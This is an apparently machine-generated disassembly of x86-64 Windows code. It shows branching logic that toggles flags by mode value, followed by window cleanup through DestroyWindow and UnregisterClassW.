jne 0x14005b3cf
cmp byte [rsp + 0x65], 0
je 0x14005b3ff
test r14b, r14b
jmp 0x14005b3ef
cmp eax, 8
jne 0x14005b3e0
cmp byte [rsp + 0x66], 0
je 0x14005b3ff
test r15b, r15b
jmp 0x14005b3ef
cmp eax, 9
jne 0x14005b3ff
cmp byte [rsp + 0x67], 0
je 0x14005b3ff
test r12b, r12b
jne 0x14005b3ff
cmp byte [0x14020520d], 0
sete byte [0x14020520d]
mov eax, dword [0x140205218]
cmp eax, 1
jne 0x14005b41b
test r13b, r13b
je 0x14005b4ca
test r9b, r9b
jmp 0x14005b4ba
cmp eax, 2
jne 0x14005b430
test cl, cl
je 0x14005b4ca
test r10b, r10b
jmp 0x14005b4ba
cmp eax, 3
jne 0x14005b445
cmp byte [rsp + 0x61], 0
je 0x14005b4ca
test r11b, r11b
jmp 0x14005b4ba
cmp eax, 4
jne 0x14005b455
cmp byte [rsp + 0x62], 0
je 0x14005b4ca
test bl, bl
jmp 0x14005b4ba
cmp eax, 5
jne 0x14005b478
cmp byte [rsp + 0x63], 0
je 0x14005b4ca
test dil, dil
jne 0x14005b4ca
cmp byte [0x14020520b], dil
sete al
mov byte [0x14020520b], al
jmp 0x14005b4d1
cmp eax, 6
jne 0x14005b489
cmp byte [rsp + 0x64], 0
je 0x14005b4ca
test sil, sil
jmp 0x14005b4ba
cmp eax, 7
jne 0x14005b49a
cmp byte [rsp + 0x65], 0
je 0x14005b4ca
test r14b, r14b
jmp 0x14005b4ba
cmp eax, 8
jne 0x14005b4ab
cmp byte [rsp + 0x66], 0
je 0x14005b4ca
test r15b, r15b
jmp 0x14005b4ba
cmp eax, 9
jne 0x14005b4ca
cmp byte [rsp + 0x67], 0
je 0x14005b4ca
test r12b, r12b
jne 0x14005b4ca
cmp byte [0x140205211], 0
sete byte [0x140205211]
movzx eax, byte [0x14020520b]
mov ecx, dword [0x140205200]
cmp ecx, 1
jne 0x14005b501
test r13b, r13b
je 0x14005b631
movzx ecx, byte [rsp + 0x60]
test r9b, r9b
jne 0x14005b636
test al, al
sete byte [0x14020520b]
jmp 0x14005b636
cmp ecx, 2
jne 0x14005b52a
movzx ecx, byte [rsp + 0x60]
test cl, cl
je 0x14005b636
test r10b, r10b
jne 0x14005b636
test al, al
sete byte [0x14020520b]
jmp 0x14005b636
cmp ecx, 3
jne 0x14005b556
cmp byte [rsp + 0x61], 0
je 0x14005b631
movzx ecx, byte [rsp + 0x60]
test r11b, r11b
jne 0x14005b636
test al, al
sete byte [0x14020520b]
jmp 0x14005b636
cmp ecx, 4
jne 0x14005b581
cmp byte [rsp + 0x62], 0
je 0x14005b631
movzx ecx, byte [rsp + 0x60]
test bl, bl
jne 0x14005b636
test al, al
sete byte [0x14020520b]
jmp 0x14005b636
cmp ecx, 5
jne 0x14005b5ad
cmp byte [rsp + 0x63], 0
je 0x14005b631
movzx ecx, byte [rsp + 0x60]
test dil, dil
jne 0x14005b636
test al, al
sete byte [0x14020520b]
jmp 0x14005b636
cmp ecx, 6
jne 0x14005b5ce
cmp byte [rsp + 0x64], 0
je 0x14005b631
movzx ecx, byte [rsp + 0x60]
test sil, sil
jne 0x14005b636
test al, al
sete byte [0x14020520b]
jmp 0x14005b636
cmp ecx, 7
jne 0x14005b5ef
cmp byte [rsp + 0x65], 0
je 0x14005b631
movzx ecx, byte [rsp + 0x60]
test r14b, r14b
jne 0x14005b636
test al, al
sete byte [0x14020520b]
jmp 0x14005b636
cmp ecx, 8
jne 0x14005b610
cmp byte [rsp + 0x66], 0
je 0x14005b631
movzx ecx, byte [rsp + 0x60]
test r15b, r15b
jne 0x14005b636
test al, al
sete byte [0x14020520b]
jmp 0x14005b636
cmp ecx, 9
jne 0x14005b631
cmp byte [rsp + 0x67], 0
je 0x14005b631
movzx ecx, byte [rsp + 0x60]
test r12b, r12b
jne 0x14005b636
test al, al
sete byte [0x14020520b]
jmp 0x14005b636
movzx ecx, byte [rsp + 0x60]
mov eax, dword [0x14023b0e0]
cmp eax, 1
jne 0x14005b66b
test r13b, r13b
je 0x14005b7c7
movzx eax, byte [rsp + 0x61]
test r9b, r9b
jne 0x14005b7cc
cmp byte [0x140205209], r9b
sete byte [0x140205209]
jmp 0x14005b7cc
cmp eax, 2
jne 0x14005b699
test cl, cl
je 0x14005b7c7
movzx eax, byte [rsp + 0x61]
test r10b, r10b
jne 0x14005b7cc
cmp byte [0x140205209], r10b
sete byte [0x140205209]
jmp 0x14005b7cc
cmp eax, 3
jne 0x14005b6c7
movzx eax, byte [rsp + 0x61]
test al, al
je 0x14005b7cc
test r11b, r11b
jne 0x14005b7cc
cmp byte [0x140205209], r11b
sete byte [0x140205209]
jmp 0x14005b7cc
cmp eax, 4
jne 0x14005b6f6
cmp byte [rsp + 0x62], 0
je 0x14005b7c7
movzx eax, byte [rsp + 0x61]
test bl, bl
jne 0x14005b7cc
cmp byte [0x140205209], bl
sete byte [0x140205209]
jmp 0x14005b7cc
cmp eax, 5
jne 0x14005b727
cmp byte [rsp + 0x63], 0
je 0x14005b7c7
movzx eax, byte [rsp + 0x61]
test dil, dil
jne 0x14005b7cc
cmp byte [0x140205209], dil
sete byte [0x140205209]
jmp 0x14005b7cc
cmp eax, 6
jne 0x14005b755
cmp byte [rsp + 0x64], 0
je 0x14005b7c7
movzx eax, byte [rsp + 0x61]
test sil, sil
jne 0x14005b7cc
cmp byte [0x140205209], sil
sete byte [0x140205209]
jmp 0x14005b7cc
cmp eax, 7
jne 0x14005b77b
cmp byte [rsp + 0x65], 0
je 0x14005b7c7
movzx eax, byte [rsp + 0x61]
test r14b, r14b
jne 0x14005b7cc
cmp byte [0x140205209], r14b
sete byte [0x140205209]
jmp 0x14005b7cc
cmp eax, 8
jne 0x14005b7a1
cmp byte [rsp + 0x66], 0
je 0x14005b7c7
movzx eax, byte [rsp + 0x61]
test r15b, r15b
jne 0x14005b7cc
cmp byte [0x140205209], r15b
sete byte [0x140205209]
jmp 0x14005b7cc
cmp eax, 9
jne 0x14005b7c7
cmp byte [rsp + 0x67], 0
je 0x14005b7c7
movzx eax, byte [rsp + 0x61]
test r12b, r12b
jne 0x14005b7cc
movzx eax, byte [rsp + 0x61]
cmp r8d, 1
jne 0x14005b7e3
test r13b, r13b
je 0x14005b879
cmp r8d, 2
jne 0x14005b7f6
call fcn.140046dc0
call fcn.140047110
xor ecx, ecx
call fcn.140006c20
call fcn.14005fe00
mov rcx, qword [0x1402051c0]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x228]
mov rcx, qword [rbp + 0x250]
call qword [sym.imp.USER32.dll_UnregisterClassW]
movaps xmm15, xmmword [rsp + 0x2140]
xor eax, eax
movaps xmm14, xmmword [rsp + 0x2150]
movaps xmm13, xmmword [rsp + 0x2160]
movaps xmm12, xmmword [rsp + 0x2170]
movaps xmm11, xmmword [rsp + 0x2180]
movaps xmm10, xmmword [rsp + 0x2190]
movaps xmm9, xmmword [rsp + 0x21a0]
movaps xmm8, xmmword [rsp + 0x21b0]
movaps xmm7, xmmword [rsp + 0x21c0]
movaps xmm6, xmmword [rsp + 0x21d0]
mov r15, qword [rsp + 0x2220]
mov r14, qword [rsp + 0x2218]
mov r13, qword [rsp + 0x2210]
add rsp, 0x21e0
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret